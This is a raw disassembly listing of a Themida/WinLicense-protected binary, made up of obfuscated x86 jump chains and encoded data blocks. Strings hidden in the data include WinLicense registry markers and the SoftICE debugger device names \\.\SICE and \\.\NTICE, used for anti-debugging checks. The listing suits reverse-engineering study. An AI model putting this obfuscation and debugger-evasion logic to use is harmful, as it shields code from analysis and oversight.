--------------------------------------------------------------------------- loc_5705C7: ; CODE XREF: Themida_:005639D1j pop eax add esi, ebp pop ebp sub esi, 47501520h push edi mov edi, 3E8537D8h sub edi, 3E66EB5Bh sub esi, edi pop edi push dword ptr [esp] pop edx jmp loc_56A06C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_5705E9: ; CODE XREF: sub_56E89A+17j add esp, 4 jmp loc_56F86E ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_5705F1: ; CODE XREF: Themida_:005619DDj pop edi push dword ptr [esp] pop edx add esp, 4 jmp loc_567075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1F0 loc_570601: ; CODE XREF: sub_56E1F0+5j pop ebp pop [esp+4+var_4] mov esp, [esp+0] sub edi, 4C470F8Fh jmp sub_5643B1 ; END OF FUNCTION CHUNK FOR sub_56E1F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_570613: ; CODE XREF: sub_56E89A-4463j xor esi, [esp+8+var_8] mov esp, [esp+8+var_8] mov eax, [esp+4+var_4] add esp, 4 jmp loc_565C5E ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_570627: ; CODE XREF: Themida_:00560F13j inc edi inc edi jmp loc_56DA07 ; --------------------------------------------------------------------------- loc_57062E: ; CODE XREF: Themida_:00560873j mov dh, ch pop cx jmp loc_56CD59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_570637: ; CODE XREF: sub_56CB7D+122Cj xchg ebp, [esp+10h+var_10] pop esp jmp loc_55DD87 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_570640: ; CODE XREF: Themida_:0056F343j mov [esp], ebp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_569289 ; --------------------------------------------------------------------------- loc_570658: ; CODE XREF: Themida_:0055D058j or ebp, 1EFC164Bh jmp loc_5653AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_570663: ; CODE XREF: sub_56755A+4BB8j jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_570668 proc near ; CODE XREF: sub_56755A-B1BFj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C9AF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055D1FD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055D27E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00560736 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056296B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00562DC9 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00563622 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566362 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568270 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00568DDD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005694B5 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005695E6 SIZE 0000000D BYTES push ebx push edx mov edx, 69BB31A4h jmp loc_562DC9 sub_570668 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_570674: ; CODE XREF: sub_55DA88+624Cj mov ebx, 1901D8Ah sub ebx, 16DE23DFh sub esp, 4 mov [esp+0Ch+var_C], ecx mov ecx, 3A0C648Fh or ebx, ecx pop ecx and ebx, 629737B5h push ebp mov ebp, 5224027Ah or ebp, 721249FFh jmp loc_56A295 ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- loc_5706A7: ; CODE XREF: Themida_:0056B3F1j mov [esp], ebp push ebx jmp loc_564AB1 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_55D782 ; --------------------------------------------------------------------------- loc_5706B9: ; CODE XREF: Themida_:0055D106j mov [esp], ecx mov ch, 0A3h add al, 0B9h add al, ch jmp loc_56569A ; --------------------------------------------------------------------------- loc_5706C7: ; CODE XREF: Themida_:0055E14Aj pop eax mov edx, [esp] jmp loc_56EBEC ; --------------------------------------------------------------------------- loc_5706D0: ; CODE XREF: Themida_:00568552j push dword ptr [esp] jmp loc_55BF1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5706D8: ; CODE XREF: sub_56755A-2452j xor ecx, [esp+30h+var_30] mov esp, [esp+30h+var_30] xor edx, 449D4AC4h jmp loc_56389B ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_5706E9 proc near ; CODE XREF: sub_56755A-33D3j ; FUNCTION CHUNK AT 0055F65D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005609A0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00563D00 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00564096 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00566940 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00568EB3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005690F9 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00569431 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056AF28 SIZE 00000012 BYTES push ebx push ebp push 23445C07h pop ebp jmp loc_5609A0 sub_5706E9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5706F6: ; CODE XREF: Themida_:00564B42j mov edx, 4 add edi, edx pop edx xchg edi, [esp] jmp loc_56ECED ; --------------------------------------------------------------------------- lodsd xor eax, ebx push edx push 2D68h mov [esp], ebp jmp loc_55F78F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_570717: ; CODE XREF: sub_55DA88+C818j mov ebx, [esp+8+var_8] jmp loc_55E53A ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_57071F: ; CODE XREF: sub_56755A+5B73j shr esi, 4 shl esi, 5 xor esi, 46134BC2h not esi or esi, 526458ABh add esi, 7CAC4D14h xor esi, 4329497Ah or ecx, esi pop esi xor ecx, 5F322205h push esi mov esi, ecx mov edx, esi pop esi mov ecx, [esp+28h+var_28] add esp, 4 xor edx, edi jmp loc_55CD5E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_57075E: ; CODE XREF: Themida_:0056C22Bj push ebp mov ebp, 4 push edi jmp loc_562A04 ; --------------------------------------------------------------------------- loc_57076A: ; CODE XREF: Themida_:0056F820j mov dl, ch jmp loc_568355 ; --------------------------------------------------------------------------- loc_570771: ; CODE XREF: Themida_:0056FE5Aj add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_56EBCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_57078E: ; CODE XREF: sub_56755A+3B09j push 3 mov [esp+8+var_8], edx push ebx xor [esp+0Ch+var_C], 3EC77B30h pop edx push ecx mov ecx, 6E797728h jmp loc_563E3D ; --------------------------------------------------------------------------- loc_5707AA: ; CODE XREF: sub_56755A-473Fj mov edi, edx mov edx, [esp+8+var_8] jmp loc_55D96F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643BC loc_5707B4: ; CODE XREF: sub_5643BC+1j mov ebp, 7F753E71h and ebp, 48A53F99h push edx push 1D6B2925h pop edx jmp loc_56F37F ; END OF FUNCTION CHUNK FOR sub_5643BC ; --------------------------------------------------------------------------- loc_5707CB: ; CODE XREF: Themida_:0054E730j jmp loc_570837 ; --------------------------------------------------------------------------- dd 68FE6F00h, 52455355h, 642E3233h, 41006C6Ch, 50415644h dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch dd 20008h, 0F0007h, 90022h, 232h, 0Bh dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_570837: ; CODE XREF: Themida_:loc_5707CBj jmp loc_5710B1 ; --------------------------------------------------------------------------- push 6149F35h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6149FA1h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 614A0BDh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 614A1F1h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 614A25Dh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 614A32Ch jmp loc_54EA15 ; --------------------------------------------------------------------------- push 614A3A8h jmp loc_54EA15 ; --------------------------------------------------------------------------- dw 887Bh dd 9A8E7E1Ch, 0AAA29230h, 0C4BAAA48h, 0DBD0C05Eh, 968D573h dd 0A03EA69Bh, 0B755B9B0h, 0D06ECEC7h, 0EA88E6E0h, 0F1198AEBh dd 0F875FDA5h, 85AD93E5h, 726A5954h, 1FB70D10h, 8C62EB74h dd 0D62C2F97h, 0E9071B43h, 6AD4226Fh, 0FB2F5AF7h, 635DAB69h dd 4542FB10h, 82616CBCh, 6CCAC48Eh, 20913CD4h, 49C33A43h dd 0A6010452h, 0E8711CA7h, 0B7BA1812h, 384F761h, 5E43D575h dd 35DC1DECh, 0B1119CC4h, 0C155A34Fh, 0E7581C38h, 4FB1CDBFh dd 0F0E880CEh, 4C2B95F9h, 8AE153FEh, 5E95C119h, 0F7CD58C2h dd 0F31B8CFDh, 0FA4FB202h, 0F1F4524Ch, 0C06B039Bh, 9890F2EAh dd 57D53F9Fh, 1D0F6D67h, 99AC5354h, 0AC1DC2A5h, 44000006h dd 5747E551h, 6B5BF963h, 83731173h, 9989278Dh, 319E3CA4h dd 76F64D6h, 1E827969h, 37979080h, 51AFA999h, 0E253B4B3h dd 75FDA6BAh, 0F5CAEC1h, 0E28FBB15h, 8BEDDABCh, 9695F0F3h dd 11EF600Bh, 7C69FE64h, 0B4AD832Eh, 0CDC6B654h, 8F016A6Dh dd 0F0CE3499h, 0B7ADA553h, 8EF84E51h, 6C5EBCB6h, 7360C7FBh dd 406207EAh, 0B0000006h, 0C3B351BDh, 0D7C765CFh, 0EFDF7DDFh dd 5F593F9h, 9D0AA810h, 73DBD042h, 8AEEE5D5h, 0A303FCECh dd 0BD1B1505h, 4EBF201Fh, 75FDA626h, 5CD02235h, 26299186h dd 948E66D0h, 0E78DAE3Ah, 2EC6FDADh, 1D7B752Bh, 43A39C72h dd 88F2524Bh, 0F1D188A5h, 1D9EC61Dh, 5C32BBD8h, 0A8FE0165h dd 0E91FED15h, 584EFC6Fh, 0B7F05AF2h, 62h, 92865C5Dh, 0ECE6BE28h dd 0C44DF08Eh, 0E9072B53h, 8C84326Fh, 39D1272Ah, 487493CFh dd 5E6FE907h, 0E95B0664h, 57511786h, 9A2E65F9h, 0DC71EF59h dd 36A752D1h, 69FBC39Fh, 91F5ECC2h, 7CE2D88Eh, 218B2379h dd 7349F442h, 8C7C1A7Ah, 0B2883393h, 0AED647B8h, 0BD75FB44h dd 8A6DD76Fh, 572E5h, 150F9300h, 5259B4B7h, 4EB324CFh dd 1369FB1Ch, 96D3E5A1h, 8EF86D4Dh, 0D3C361AFh, 3ADD7BD9h dd 5086E64h, 0C5C845AFh, 2D22933Eh, 3C701054h, 746D43EEh dd 0BE56C0B4h, 77373020h, 83861E7Eh, 8375D3CDh, 796F2962h dd 246F14F7h, 0CC000005h, 0DFCF6DD9h, 0F3E381EBh, 0BFB99FBh dd 2111AF15h, 0B926C42Ch, 8FF7EC5Eh, 0A60A01F1h, 0BF1F1808h dd 0D9373121h, 6ADB3C3Bh, 75FDA742h, 0FE43649h, 0FB615715h dd 0B0AA6063h, 91324F52h, 0F660C4BBh, 0DA0B7555h, 5A6FE905h dd 1D7D095Dh, 0FF184CD8h, 5CF2FFFFh, 282B8F86h, 81E1DAD2h dd 0D4453F17h, 0E9073B63h, 5CF4426Fh, 740FFE59h, 244758C9h dd 98E669FBh, 0DB6665FAh, 23EEBF30h, 0F13F700Dh, 2C709DEEh dd 0E7AA6FE9h, 0B4B71911h, 1A42B35Eh, 216FE92Ch, 0E8C869D3h dd 1DA3BD14h, 16B04D8h, 0ADAA0000h, 0CA595485h, 2F11AE1Fh dd 7E5469FBh, 79A11285h, 8075FB2Fh, 0EA069A32h, 2F729308h dd 8EDCBB25h, 5C532994h, 9CA3F5F8h, 3FDCB95h, 0F88216AEh dd 8674B1F1h, 2D42B51Fh, 5EBC455Ch, 2850C16Fh, 374FB165h dd 35A651E9h, 49C36358h, 66DB8BFDh, 0CBCE382Ch, 0F3F4E175h dd 49E14B3Fh, 8DF75951h, 460800AEh, 4D50E852h, 15C5FF7h dd 5BCC770Ah, 43D563DAh, 0A47A2573h, 0CBA14CAAh, 86046ED6h dd 4C3E9C96h, 99AD318Fh, 0F02ED3B6h, 3, 1303A10Dh, 2717B51Fh dd 3F2FCD2Fh, 5545E349h, 0ED5AF860h, 0C32B2092h, 0DA3E3525h dd 0F3534C3Ch, 0D6B6555h, 9E0F706Fh, 75FDA876h, 6A207285h dd 0AC35E063h, 0E907133Bh, 62CC1A6Fh, 9B7066D7h, 519F69FDh dd 77D7D0A6h, 6C6036D9h, 0FEA9FF02h, 0FDA4658Dh, 0BC267475h dd 888BEBE4h, 887AD8D2h, 7360B141h, 846005E8h, 6C000003h dd 7F6F0D79h, 9383218Bh, 0AB9B399Bh, 0C1B14FB5h, 59C664CCh dd 2F978CFEh, 46AAA191h, 5FBFB8A8h, 79D7D1C1h, 0A7BDCDBh dd 75FDA9E2h, 0F84D6E9h, 0FEB4B715h, 86A3A604h, 0FB6DEFCFh dd 211A6CC1h, 0D272DC1h, 4677EA54h, 0CE6FE9D5h, 1E4C7DD1h dd 0FD74C0D8h, 5C66FFFFh, 0C02A9086h, 8D90EEE8h, 0FDA83B32h dd 0FB266F8Ch, 0B2509E69h, 4B80AD5Eh, 0A516C140h, 69FB2F08h dd 5EB1ABF9h, 0CE109E1Ch, 7FF09E8Dh, 1DEE6257h, 0D5801866h dd 608764h, 0EFE89618h, 9E368C8Fh, 0B64D409Bh, 96199A0Bh dd 0E2301212h, 13CAE37h, 9FE4384Ch, 615B339Dh, 0B149ABA3h dd 6B292313h, 52B6AD77h, 5E61F94Fh, 417E7008h, 0D4CB7009h dd 2B54CF1h, 483B0000h, 5A4E3EDCh, 6A6252F0h, 847A6A08h dd 9B90801Eh, 0C9289533h, 60FE665Bh, 77157970h, 902E8E87h dd 0AA48A6A0h, 0B1D94AABh, 0B875FDAAh, 865C53A5h, 0D1272A90h dd 60E3EA67h, 9B3844B5h, 590769FDh, 0A2F8FB65h, 64D65F0Ah dd 0F1D68FA7h, 623AA406h, 70590D69h, 0BD51B9AEh, 770FE864h dd 90F0E9D9h, 584E248Dh, 0A0389A92h, 5DD479Dh, 2BBAD0Bh dd 7736118h, 2397F24h, 0C4B70000h, 0D6CABA58h, 0E6DECE6Ch dd 0F6E684h, 170CFC9Ah, 45A411AFh, 0DC7AE2D7h, 0F391F5ECh dd 0CAA0A03h, 26C4221Ch, 2D55C627h, 3C75FDAAh, 636AD729h dd 0B8C435E0h, 8769FD9Bh, 0BEB88E39h, 322DC260h, 4882F49Fh dd 41A79D4Fh, 793ACEADh, 25FB840Fh, 11756C2Ch, 0B620B80Eh dd 0FDF61543h, 0C7CA1875h, 0B1B41C11h, 645951h, 0D8883CD1h dd 46F18981h, 0AA147A70h, 0F698972Ch, 0FD4E5D85h, 861E6C75h dd 4E3A6ADBh, 35175FDh, 6CF7E658h, 512C24A6h, 544E04E7h dd 3B3E9C96h, 0EA4A4DE5h, 0E72693Fh, 0F761550Bh, 231DF55Fh dd 3D3727C5h, 32C4DCDFh, 0B98868FFh, 0D3C361BFh, 0C2787BD9h dd 466265CDh, 0E4DEAD8Dh, 0CDCD3126h, 165E7E6Ah, 3DDB730Bh dd 45F0584Dh, 8BEFE6BCh, 779F3288h, 8675FD3Ah, 0D3EBCE38h dd 24AD2E23h, 0FD3A8BB3h, 0DA449275h, 958A5939h, 63EC8F2Dh dd 0FD3ACAF2h, 1983D175h, 60D14C41h, 75FD3A38h, 3FA19947h dd 0B64EE63Ch, 0A404FDB3h, 0AB8B4AA1h, 0E17FE7DCh, 58ADCC3Eh dd 8C207E78h, 309AC1EFh, 0FD005E58h, 60CABE94h, 811D83F6h dd 0C786DDAEh, 968F65E7h, 73DD3336h, 0A543A19Bh, 5A5DBBB5h dd 0E8017FF1h, 0B6EA8336h, 177F744Ch, 0E95AE36Ch, 2E503DC1h dd 0BFE77AC8h, 0CE2E503Dh, 0D6331680h, 76703F1Fh, 908A7A18h dd 0D9D42F32h, 3D9EC637h, 5FAD2E50h, 5EAB1CC7h, 0AF28623Fh dd 3F2EC361h, 0A688F9A4h, 0E12272D3h, 9E279093h, 4AAC052Dh dd 0CFF7682Eh, 0DE2E4AACh, 0D9439190h, 0D960701h, 4AAC749Ch dd 9A2D7B2Eh, 2E4AAC72h, 0F5932B79h, 257C952h, 0C4F63964h dd 1FE60EA1h, 94F52E4Ah, 4A1FFB23h, 1CB4022Eh, 82E0DAB2h dd 4A40167Fh, 218BE1E4h, 64E792AEh, 4A2AE1BFh, 8523817Bh dd 0E4DD9B95h, 932B8184h, 7EE4DA90h, 0A008FDD3h, 0FADD479Dh dd 8204E4A3h, 0D86088F9h, 216F4074h, 87E5DFB7h, 4CBD46E9h dd 4074D824h, 9B73DD2Bh, 0C29843A1h, 0B9E152CDh, 0C04074D8h dd 81D7DA72h, 88F3417h, 0EE000000h, 52BC2218h, 0F599516h dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 56FD68h dd 241C8900h, 0C381E389h, 4, 8704EB83h, 685C241Ch, 5FC4h dd 68243489h, 4E28h, 50240489h, 0FE468B68h, 3F0D585Ah dd 51468078h, 385D07B9h, 0E1D14901h, 55E8E181h, 0E1C16AC7h dd 0B6E18102h, 8144B102h, 0E9E073E9h, 59C80158h, 8358C689h dd 248904ECh, 24048124h, 4, 0F7895758h dd 8408F57h, 2434FF5Fh, 4C48358h, 5724348Bh, 0C781E789h dd 4, 8704C783h, 0E95C243Ch, 0FFFDD96Dh, 1602ECC5h, 0F3FB98BCh db 11h ; --------------------------------------------------------------------------- loc_5710B1: ; CODE XREF: Themida_:loc_570837j mov eax, 614A606h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 9E63h dd 9A182E9Ch, 17966265h, 33848CEh, 7E9F46E7h, 992F03A1h dd 0BFD96A02h, 7F5B3307h, 2A401349h, 6FF759Ch, 96407DC4h dd 0CA33052Ah, 0EB196EBFh, 0B85C1A38h, 834E29FAh, 0BBD81349h dd 0A46537C3h, 89C154FDh, 439F714Bh, 0DE86075h, 43000000h dd 98C174B8h, 92FA3006h, 0A338CA8Ch, 13E9h, 9DD09100h dd 0F9F152AEh, 0AA4E1E89h, 2D61B60Fh, 5199ECAAh, 0EE95Eh dd 3DD90000h, 38B3FB58h, 60328312h, 30AAB95Bh, 6761C681h dd 33F50000h, 0EEFEBFC0h, 0C8B4D6Dh, 0D0EA8006h, 21BAE981h dd 5E96A70h, 0B7000000h, 7072DACh, 0E7C0C181h, 81F5237Fh dd 934F36C1h, 91BA6631h, 0D780513Fh, 6048F14h, 0DE9h, 735EEF00h dd 0A2824AB4h, 9209E79Eh, 7E9E239h, 0A6000000h, 58525FB4h dd 0E88132A6h, 4C28E959h, 35C78166h, 55C08155h, 0E94C28E9h dd 0Bh, 428F5F47h, 1C79BD8Eh, 8101CC06h, 0FF9980F8h, 12850FFFh dd 66000000h, 5F0DCA81h, 1BE9h, 0F439AC00h, 0ED3B2063h dd 38E0FF6h, 80000000h, 67E9DBE3h, 0AFFFFFFFh, 261C9981h dd 8DE9h, 0BD836000h, 6121889h, 5840F00h, 0E9000000h, 78h dd 3E80006Ah, 8850F30h, 6A000000h, 35E94600h, 80000000h dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h dd 13E9h, 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h dd 0F203E80h, 1285h, 17E8000h, 8850F00h, 83000000h, 15E908C4h dd 8D000000h, 1216B585h, 4895006h, 96509624h, 95FF006Ah dd 6122341h, 85C6C361h, 6122871h, 0D189684Dh, 348197FAh dd 0CFA72124h, 39B5FF33h, 8D06121Dh, 123B5D85h, 89D0FF06h dd 12234185h, 0AAE906h, 6F530000h, 61777466h, 575C6572h dd 694C6E69h, 736E6563h, 68430065h, 496B6365h, 7058004Eh dd 45746F72h, 746978h, 63656843h, 54554F6Bh, 6E695700h dd 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h dd 736E6563h, 69724465h, 56726576h, 69737265h, 57006E6Fh dd 694C6E69h, 736E6563h, 736E4965h, 636E6174h, 78450065h dd 6B4F7469h, 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h dd 45004E49h, 4F746978h, 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 32858900h, 8D0614A9h dd 14A92E85h, 858D5006h, 614A898h, 16850h, 95FF8000h, 614A93Eh dd 0B5FF196Ah, 614A932h, 6A016Ah, 0A8C7858Dh, 0FF500614h dd 14A92EB5h, 1195FF06h, 0FF061223h, 14A92EB5h, 3A95FF06h dd 0FF0614A9h, 14A92EB5h, 0A195FF06h, 0C3061218h, 0A9328589h dd 858D0614h, 614A92Eh, 98858D50h, 500614A8h, 168h, 3E95FF80h dd 6A0614A9h, 32858D04h, 500614A9h, 6A046Ah, 0A8F1858Dh dd 0FF500614h, 14A92EB5h, 1195FF06h, 0FF061223h, 14A92EB5h dd 3A95FF06h, 0FF0614A9h, 14A92EB5h, 0A195FF06h, 0C3061218h dd 0A9328589h, 858D0614h, 614A92Eh, 98858D50h, 500614A8h dd 168h, 3E95FF80h, 6A0614A9h, 32858D04h, 500614A9h, 6A046Ah dd 0A8D9858Dh, 0FF500614h, 14A92EB5h, 1195FF06h, 0FF061223h dd 14A92EB5h, 3A95FF06h, 0FF0614A9h, 14A92EB5h, 0A195FF06h dd 0C3061218h, 0A9328589h, 858D0614h, 614A92Eh, 98858D50h dd 500614A8h, 168h, 3E95FF80h, 6A0614A9h, 32858D04h, 500614A9h dd 6A046Ah, 0A904858Dh, 0FF500614h, 14A92EB5h, 1195FF06h dd 0FF061223h, 14A92EB5h, 3A95FF06h, 0FF0614A9h, 14A92EB5h dd 0A195FF06h, 0C3061218h, 0A9328589h, 858D0614h, 614A92Eh dd 98858D50h, 500614A8h, 168h, 3E95FF80h, 6A0614A9h, 32858D04h dd 500614A9h, 6A046Ah, 0A8B4858Dh, 0FF500614h, 14A92EB5h dd 1195FF06h, 0FF061223h, 14A92EB5h, 3A95FF06h, 0FF0614A9h dd 14A92EB5h, 0A195FF06h, 0C3061218h, 2411BD83h, 0F000612h dd 0B84h, 119D8B00h, 83061224h, 3894CC3h, 11BD83C3h, 61224h dd 0B840Fh, 9D8B0000h, 6122411h, 8950C383h, 0BD83C303h dd 6122411h, 0B840F00h, 8B000000h, 1224119Dh, 54C38306h dd 83C30389h, 122411BDh, 840F0006h, 0Bh, 24119D8Bh, 0C3830612h dd 0C3038958h, 2411BD83h, 0F000612h, 0B84h, 119D8B00h dd 83061224h, 3895CC3h, 8960C3C3h, 14A93285h, 2E858D06h dd 500614A9h, 0A898858Dh, 68500614h, 80000001h, 0A93E95FFh dd 46A0614h, 0A932858Dh, 6A500614h, 8D006A04h, 14A92985h dd 0B5FF5006h, 614A92Eh, 231195FFh, 0BD830612h, 6121B91h dd 0C840F00h, 0FF000000h, 14A92EB5h, 3A95FF06h, 0FF0614A9h dd 14A92EB5h, 0A195FF06h, 61061218h, 858960C3h, 614A932h dd 0A92E858Dh, 8D500614h, 14A89885h, 1685006h, 0FF800000h dd 14A93E95h, 8D046A06h, 14A93285h, 46A5006h, 858D006Ah dd 614A90Bh, 2EB5FF50h, 0FF0614A9h, 12231195h, 91BD8306h dd 6121Bh, 0C840Fh, 0B5FF0000h, 614A92Eh, 0A93A95FFh, 0B5FF0614h dd 614A92Eh, 18A195FFh, 0C3610612h, 32858960h, 8D0614A9h dd 14A92E85h, 858D5006h, 614A898h, 16850h, 95FF8000h, 614A93Eh dd 858D046Ah, 614A932h, 6A046A50h, 12858D00h, 500614A9h dd 0A92EB5FFh, 95FF0614h, 6122311h, 1B91BD83h, 0F000612h dd 0C84h, 2EB5FF00h, 0FF0614A9h, 14A93A95h, 2EB5FF06h dd 0FF0614A9h, 1218A195h, 60C36106h, 0A9328589h, 858D0614h dd 614A92Eh, 98858D50h, 500614A8h, 168h, 3E95FF80h, 6A0614A9h dd 32858D04h, 500614A9h, 6A046Ah, 0A91A858Dh, 0FF500614h dd 14A92EB5h, 1195FF06h, 83061223h, 121B91BDh, 840F0006h dd 0Ch, 0A92EB5FFh, 95FF0614h, 614A93Ah, 0A92EB5FFh, 95FF0614h dd 61218A1h, 8960C361h, 14A93285h, 2E858D06h, 500614A9h dd 0A898858Dh, 68500614h, 80000001h, 0A93E95FFh, 46A0614h dd 0A932858Dh, 6A500614h, 8D006A04h, 14A92185h, 0B5FF5006h dd 614A92Eh, 231195FFh, 0BD830612h, 6121B91h, 0C840F00h dd 0FF000000h, 14A92EB5h, 3A95FF06h, 0FF0614A9h, 14A92EB5h dd 0A195FF06h, 61061218h, 85C760C3h, 614A932h, 1, 0A92E858Dh dd 8D500614h, 14A89885h, 2685006h, 0FF800000h, 14A93E95h dd 0FC00B06h, 0F84h, 3285C700h, 614A9h, 0E9000000h, 4Dh dd 858D046Ah, 614A932h, 6A046A50h, 0AC858D00h, 500614A8h dd 0A92EB5FFh, 95FF0614h, 6122311h, 840FC00Bh, 0Fh, 0A93285C7h dd 614h, 0AE90000h, 0C7000000h, 14A93285h, 106h, 2EB5FF00h dd 0FF0614A9h, 1218A195h, 858B6106h, 614A932h, 858960C3h dd 614A932h, 0A92E858Dh, 8D500614h, 14A89885h, 1685006h dd 0FF800000h, 14A93E95h, 8D046A06h, 14A93285h, 46A5006h dd 858D006Ah, 614A8ACh, 2EB5FF50h, 0FF0614A9h, 12231195h dd 91BD8306h, 6121Bh, 0C840Fh, 0B5FF0000h, 614A92Eh, 0A93A95FFh dd 0B5FF0614h, 614A92Eh, 18A195FFh, 0C3610612h, 32858960h dd 8D0614A9h, 14A92E85h, 858D5006h, 614A898h, 16850h, 95FF8000h dd 614A93Eh, 858D046Ah, 614A932h, 6A046A50h, 0BE858D00h dd 500614A8h, 0A92EB5FFh, 95FF0614h, 6122311h, 1B91BD83h dd 0F000612h, 0C84h, 2EB5FF00h, 0FF0614A9h, 14A93A95h dd 2EB5FF06h, 0FF0614A9h, 1218A195h, 0C6C36106h, 12287185h dd 7685206h, 0FFADE47Bh, 1222EDB5h, 8995FF06h, 89061216h dd 14A93E85h, 7185C606h, 52061228h, 2E00E568h, 0EDB5FF90h dd 0FF061222h, 12168995h, 3A858906h, 0C60614A9h, 12287185h dd 35685206h, 0FFB9BF12h, 1222EDB5h, 8995FF06h, 89061216h dd 12231185h, 7185C606h, 52061228h, 78103468h, 0EDB5FF98h dd 0FF061222h, 12168995h, 0A1858906h, 0C6061218h, 12287185h dd 0D4685206h, 0FFC005DBh, 1222EDB5h, 8995FF06h, 89061216h dd 12176585h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 0E9C08B00h dd 0Dh, 0D352302Eh, 730D342Dh, 73306ADh, 850FFDh, 83000000h dd 121B91BDh, 9750006h, 17DDBD83h, 74000612h, 8B535019h dd 40FB8C0h, 85890000h, 6120085h, 0AE0F9D8Dh, 0D3FF0614h dd 0BD83585Bh, 61217DDh, 50177400h, 40FB853h, 85890000h dd 6120085h, 0AAFE9D8Dh, 0D3FF0614h, 6A585Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0F8B55EC3h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0FDC35343h dd 13D27A89h, 8B557767h, 12211995h, 0BFC08B06h, 3D483D9Fh dd 287185C6h, 8B430612h, 120179B5h, 60786806h, 0BE66B699h dd 4815ADBh, 0F50E8424h, 8E905h, 46090000h, 0F1B4B07Eh dd 0B5FFEE8Bh, 61203B1h, 1739BD89h, 858D0612h, 6123B5Dh dd 3810Fh, 0BF0F0000h, 0FD0FFF8h, 687h, 0E9BD0B00h, 9006122Dh dd 0F18B6660h, 0BE85061h, 0A9000000h, 0F980B471h, 436BF0AAh dd 870FDCBDh, 2, 90598EB2h, 3DB52Bh, 6A0612h, 9118589h dd 0F6680612h, 81E86E46h, 0B98A2404h, 81501791h, 0F0FE67CFh dd 36A5F61h, 19C99509h, 6A0612h, 2955BD29h, 36A0612h, 18B98D8Bh dd 4E80612h, 0 dd 50C00000h, 448BD18Bh, 0BA660424h, 8B3951h, 4489CF8Bh dd 6A580424h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0AEC3C350h, 9D8D2D98h, 614AF75h dd 29758529h, 8E90612h, 0A2000000h, 0EE7C74E5h, 937A1A3Ah dd 5E950h, 0F3280000h, 935E7E2Ch, 5E9D0FFh, 0A6000000h dd 10A70EEAh, 0DF850F40h, 50000002h, 1F999D89h, 585A0612h dd 7E8h, 88451400h, 0BED96825h, 11E9905Ah, 5000000h, 22679818h dd 911F71C2h, 3A705567h, 